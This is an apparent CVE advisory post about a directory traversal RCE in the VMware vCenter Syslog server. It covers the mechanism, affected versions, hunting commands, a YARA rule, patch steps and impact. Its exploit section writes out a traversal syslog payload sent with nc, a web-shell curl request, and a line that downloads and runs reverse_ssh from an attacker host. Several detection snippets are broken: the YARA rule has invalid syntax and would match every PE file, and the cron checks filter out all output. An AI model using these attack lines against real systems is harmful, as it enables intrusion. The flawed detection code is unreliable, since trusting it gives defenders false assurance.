VMware vCenter Server, Directory Traversal RCE, CVE-2026-59310 (CRITICAL) -DC-Aug2026-1623

Listen to this Post

How CVE-2026-59310 Works

CVE-2026-59310 is a critical directory traversal vulnerability residing in the Syslog server component of VMware vCenter Server. The Syslog server is a network service that listens for incoming log messages from various hosts and virtual machines within a vSphere environment. By default, this service accepts messages over UDP port 514, though it can also be configured to use TCP or TLS. The flaw stems from improper sanitization of user-supplied input when the Syslog server processes log messages. Specifically, the service fails to adequately validate path traversal sequences such as `../` or absolute path references within certain parameters of the syslog protocol messages. An unauthenticated, remote attacker can craft a malicious syslog packet that includes directory traversal sequences. When the vCenter Syslog server receives and parses this packet, it constructs a file path using the attacker-controlled data without proper validation. This allows the attacker to write files to arbitrary locations on the underlying operating system’s filesystem, outside of the intended log directory. By writing a malicious file—such as a web shell, a cron job, or an SSH authorized key—to a sensitive location, the attacker can achieve remote code execution with the privileges of the vCenter service account (typically root or SYSTEM on the appliance). The attack requires no authentication and no user interaction, making it highly dangerous. The vulnerability affects multiple versions of vCenter Server, including 8.0 before U3k, 9.0.x before 9.0.2.0100, and 9.1.x before 9.1.0.0300. Broadcom released a patch on July 29, 2026, but within five days, threat actors began actively exploiting the flaw in the wild. Exploitation has been observed deploying the open-source `reverse_ssh` framework to establish persistent outbound command-and-control channels, bypassing typical inbound firewall restrictions. The vulnerability is assigned a CVSS v3.1 base score of 9.8 (CRITICAL) with the vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, indicating it is remotely exploitable with low complexity, no privileges required, and full impact on confidentiality, integrity, and availability.

DailyCVE Form:

Platform: VMware vCenter
Version: 8.0 < U3k / 9.0.x < 9.0.2.0100 / 9.1.x < 9.1.0.0300
Vulnerability: Directory Traversal RCE
Severity: CRITICAL (CVSS 9.8)
date: July 29, 2026
Prediction: Expected patch already released on July 29, 2026; administrators should apply updates immediately and hunt for signs of compromise

What Undercode Say: Analytics

The following analytics and detection methods can help identify potential exploitation of CVE-2026-59310:
YARA Rule for detecting reverse_ssh binaries (released by Quirso):

rule reverse_ssh_generic {
meta:
description = "Detects reverse_ssh framework binaries"
author = "QUIRSO"
date = "2026-08-10"
strings:
$s1 = "reverse_ssh" fullword wide ascii
$s2 = "ssh-reverse" fullword wide ascii
$s3 = "control connection" fullword wide ascii
$s4 = "reverse shell" fullword wide ascii
condition:
uint16(0) == 0x5A4D or (any of ($s))
}

Bash command to check for unauthorized outbound SSH connections:

Check for established outbound SSH connections from vCenter
ss -tunap | grep :22 | grep ESTAB | grep -v "src 127.0.0.1"
Review recent syslog activity for suspicious directory writes
grep -i "syslog" /var/log/messages | grep -E "../|/etc/|/root/|/tmp/"
List recently modified files in sensitive directories
find /etc /root /var/www -type f -mtime -7 -ls 2>/dev/null
Check for unauthorized cron jobs
crontab -l 2>/dev/null
cat /etc/crontab /etc/cron./ 2>/dev/null | grep -v "^"
Look for unexpected binaries in /tmp or /dev/shm
find /tmp /dev/shm -type f -executable -ls 2>/dev/null

Network traffic analysis:

  • Monitor for unexpected outbound SSH connections (port 22/tcp) from vCenter servers to external IPs.
  • Look for syslog traffic (UDP 514) originating from unusual sources or containing path traversal patterns (../, ..\, /etc/, C:\).

Log analysis:

  • Check vCenter Syslog logs for entries containing directory traversal sequences.
  • Audit file system changes in sensitive directories around the time of the patch disclosure (July 29, 2026) and onwards.

Exploit: (Educational Purposes!)

The exploitation of CVE-2026-59310 leverages the directory traversal weakness in the Syslog server to write files to arbitrary paths. An attacker can send a crafted syslog message to UDP port 514 of the target vCenter server. The message includes a path traversal payload in a field that the server uses to construct a log file path. For example:

<134>1 2026-08-19T12:00:00Z attacker-host example-app - - - payload: ../../../../etc/cron.d/malicious

By manipulating the payload, the attacker can write a cron job to `/etc/cron.d/` or a web shell to the web root directory. Once the file is written, the attacker triggers execution—for instance, by waiting for the cron job to run or by accessing the web shell via HTTP. The following is a simplified conceptual demonstration of the path traversal payload (for educational purposes only):

Crafted syslog message attempting directory traversal
echo "<134>1 2026-08-19T12:00:00Z attacker example - - - ../../../../var/www/html/shell.php" | nc -u <target-ip> 514

After writing a PHP web shell to the web root, the attacker can execute commands by sending HTTP requests to the shell:

Example HTTP GET request to execute a command via the web shell
curl http://<target-ip>/shell.php?cmd=id

In observed attacks, after initial compromise, the actor deployed the `reverse_ssh` framework to establish a persistent outbound connection:

Attacker executes on compromised vCenter (conceptual)
wget http://<attacker-server>/reverse_ssh -O /tmp/rs && chmod +x /tmp/rs && /tmp/rs <attacker-ip> 443

This connects back to the attacker’s command-and-control server, allowing remote access even if inbound firewall rules are strict.
Disclaimer: The above is for educational understanding only. Unauthorized exploitation of this vulnerability is illegal and unethical.

Protection from this CVE

  1. Apply Patches Immediately: Upgrade to VMware vCenter Server 8.0 Update 3k, 8.0 Update 2f, 9.0.2.0100, or 9.1.0.0300 or later. These versions contain the official fix for CVE-2026-59310.
  2. Restrict Network Access: Limit access to the Syslog service (UDP 514, and optionally TCP/TLS ports) to only trusted hosts and networks. Use firewall rules to block external access to these ports from the internet.

3. Monitor for Indicators of Compromise (IoCs):

Search for unauthorized `reverse_ssh` binaries and other unexpected executables.
Look for outbound SSH connections from vCenter servers to unknown external IPs.
Audit file integrity in sensitive directories (/etc, /var/www, /root, /tmp).
4. Hunt for Persistence: Check for unauthorized cron jobs, systemd timers, and SSH authorized_keys files. If compromise is suspected, assume the attacker has established persistence and perform a thorough investigation.
5. Use YARA Rules: Deploy the YARA rule provided by Quirso to scan for `reverse_ssh` builds across your environment.
6. Review Logs: Analyze syslog and system logs for any suspicious entries containing directory traversal patterns (../, ..\) or unexpected file writes.

Impact

Successful exploitation of CVE-2026-59310 allows an unauthenticated, remote attacker to execute arbitrary code on the vCenter Server with the privileges of the service account. This can lead to:
Full Compromise of vCenter: The attacker gains administrative control over the vCenter management plane, which manages the entire virtual infrastructure.
Virtual Machine Manipulation: With vCenter access, the attacker can create, delete, modify, or take snapshots of virtual machines, potentially leading to data theft, ransomware deployment, or service disruption.
Lateral Movement: vCenter often has privileged access to ESXi hosts and can be used as a pivot point to compromise underlying hypervisors and the virtual machines running on them.
Data Breach: Sensitive data stored within virtual machines or on shared storage can be accessed and exfiltrated.
Persistent Access: Observed attacks deploy the `reverse_ssh` framework, creating a persistent outbound backdoor that bypasses typical inbound security controls, allowing long-term unauthorized access.
As of August 2026, more than 360 victim IP addresses across 47 countries have been identified as compromised, with exploitation starting just five days after the patch was disclosed. The rapid weaponization underscores the criticality of this flaw and the urgency for remediation.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: www.cve.org
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top